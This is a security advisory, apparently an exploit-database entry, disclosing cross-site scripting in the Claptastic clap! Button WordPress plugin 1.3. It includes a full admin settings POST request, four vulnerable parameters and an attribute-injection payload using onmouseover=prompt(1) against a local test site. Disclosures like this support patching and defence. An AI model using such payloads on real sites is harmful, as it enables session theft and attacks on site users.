Product: Claptastic clap! Button Exploit Author: Sachin Wagh Version: 1.3 Home page Link: https://wordpress.org/plugins/claptastic-clap-button/ ============================================================================ Details: The Claptastic clap! Button plugin for WordPress is prone to a multiple cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. ============================================================================ Proof-Of-Concept: 1. Burp Request : POST /wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php Cookie: wp-saving-post=18-check; wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459165865%7CivjDqmsChZ8j6hYjxAbiE1UfNv0GuLQmaYDV6ReX2Dn%7C2d5e155d52adb160536eaf3540daee34cbbbb19bf07fe3a0c2f60775431aa010; wp-settings-time-1=1458990477; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459165865%7CivjDqmsChZ8j6hYjxAbiE1UfNv0GuLQmaYDV6ReX2Dn%7Ce0b893f18be591d73b25f60efbdc24477131766dbec5b7895c630f1cb7b96d55; security_level=0; _ga=GA1.1.1331075502.1458634204; PHPSESSID=4gaqfar5bmtmrnpana3a6crff6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 181 ccb_fontsize=XSS-1&ccb_position=bottomright&ccb_margin=XSS-2&ccb_paddingrightleft=XSS-3&ccb_design=XSS-4&ccb_onfrontpage=no&update_ClaptasticClapButtonPluginSettings=Update+Settings 2. Payload : " onmouseover=prompt(1) " ============================================================================ Vulnerable Product: [+] Claptastic clap! Button 1.3 Vulnerable Parameter(s): [+]ccb_fontsize [+]ccb_margin [+]ccb_paddingrightleft [+]ccb_design ============================================================================ Affected Area(s): [+] http://localhost/wordpress-4.4/wordpress/wp-admin/options-general.php?page=claptastic-clap-button.php ============================================================================ Credits & Authors : Sachin Wagh (@tiger_tigerboy) ============================================================================